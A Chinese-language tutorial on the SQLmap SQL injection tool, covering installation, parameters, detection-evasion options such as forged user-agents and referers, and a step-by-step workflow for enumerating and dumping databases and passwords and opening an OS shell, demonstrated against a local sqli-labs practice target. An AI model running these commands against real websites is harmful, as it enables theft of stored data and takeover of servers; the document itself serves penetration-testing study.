文章目录
SQLmap
安装
-
将sqlmap文件夹复制到python环境的文件夹下,进入该路径下的sqlmap下,shift+鼠标右键,选择在此处打开命令窗口,进入cmd窗口后,输入sqlmap.py测试是否成功
-
用kali虚拟机,默认安装sqlmap的,所以直接在shell界面输入sqlmap回车测试
常见参数
设置目标url:
-
-u或–url:sqlmap -u “带参数的url连接”
- -m:从文本获取多个扫描目标,一个url一行。sqlmap -m urllist.txt
- -r:将http请求包的请求内容写到文件,sqlmap在文件直接扫描,就不需要设定cookie等字段值。sqlmap -r request.txt
设置回显等级:-v
- 0:只显示python错误和严重的信息
- 1:默认值,同时显示基本信息和警告信息
- 2:同时显示debug信息
- 3:同时显示注入的pyload
- 4:同时显示http请求
- 5:同时显示http响应头
- 6:同时显示http响应页面
- 例:sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1” -v 6
设定探测等级:–level=N(sqlmap -r情况下)
- level>=1:默认值,正常探测参数位置
- level>=2:探测http的cookie值
- level>=3:探测user-agent/referer字段
- level=5:探测host信息
- 例:sqlmap -r request.txt --level=5
设定探测风险等级:–risk
- 1:默认值,测试大部分测试语句
- 2:增加基于时间的测试语句
- 3:增加or语句的sql注入测试
- 例:sqlmap -u “带参数的链接” --risk=3
设置http相关参数
- –data:就是把data后面的数据以post方式提交。
- –cookie:将抓包的cookie值复制到cookie参数后面,会自动生成,但是不一定成功。
- 例:sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/” --data=“id=1” --cookie=“Cookie: PHPSESSID=p7ac6np116eh5g21pcu0ho8su1”
- –user-agent:默认情况下,sqlmap的http头部user-agent会带有自己的标识,容易被杀掉,所以需要伪造一个假的
- 例:sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/” --data=“id=1” --level 3 --user-agent=“opjijo”
- -random-agent:会从/usr/share/sqlmap/data/txt中的user-agent.txt文档中随即获取一个user-agent值
- 例:
- -referer:伪造referer字段,绕过检测。
- 例:sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1” --referer=“www.baidu.com”
- –delay:设定两个http请求间的延时,默认没有,值为1即间隔1秒
- –timeout:设定http请求多久时间超时,默认秒
指定测试参数
- -p:默认测试所有post、get参数,可以指定要检测的参数
- –skip:指定不需要检测的参数
列数据
- –dbs(查看数据库),–users(查看所有用户),–passwords(查看所有用户密码)
- –technique:指定使用那种注入类型(B-布尔型,E-报错,U-联合,T-时间注入,S-多语句查询)
- –current-db(当前数据库)、–current-user(当前用户)
- –privileges:权限
- -D database_name --tables(获取表)
- -D database_name -T --table_name --columns(获取列)
- -D database_name -T --table name -C --column_1,columns_2 --dump(获取字段)
使用shell命令
-
–os-shell:反弹交互shell
- 前提:需要网站的物理路径,并且有FILE的读写权限
- 格式:sqlmap -u “url” -p “id” --dbms mysql --os-shell
- 选择语言,再根据提示选择2,填写物理路径(d:/phpstudy/www)
- –sql-shell:执行指定sql命令。sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1” --sql-shell
-
–os-cmd=系统命令:一次性的执行系统命令,前几步和第一个一样,只不过没有shell界面反弹
- –batch:自动选择y/n
- –start:导出数据的开始条数
- –stop:导出数据的结束条数
-
–dump:导出数据
- –dump-all:导出所有数据
- –purge-output或–purge:清空缓存目录
- –dbms “Mysql” --users:指定数据库类型
- –dbs -o “sqlmap.log”:保存进度
- –dbs -o “sqlmap.log” --resume:恢复已保存的进度
注入流程
1.判断注入点和数据类型:
- sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1”。针对GET注入
- sqlmap -r 存有post请求的文档路径
2.判断数据库名
sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1” --dbs
3.判断表名
sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1” -D 数据库名 --tables
4.判断列名
sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1” -D 数据库名 -T --columns
5.获取字段
sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1” -D 数据库名 -T 表名 -C 列名 --dump
6.查看获取的数据文件
- windows:c:/users/administrator/.sqlmap/output
- kali:/root/.sqlmap/output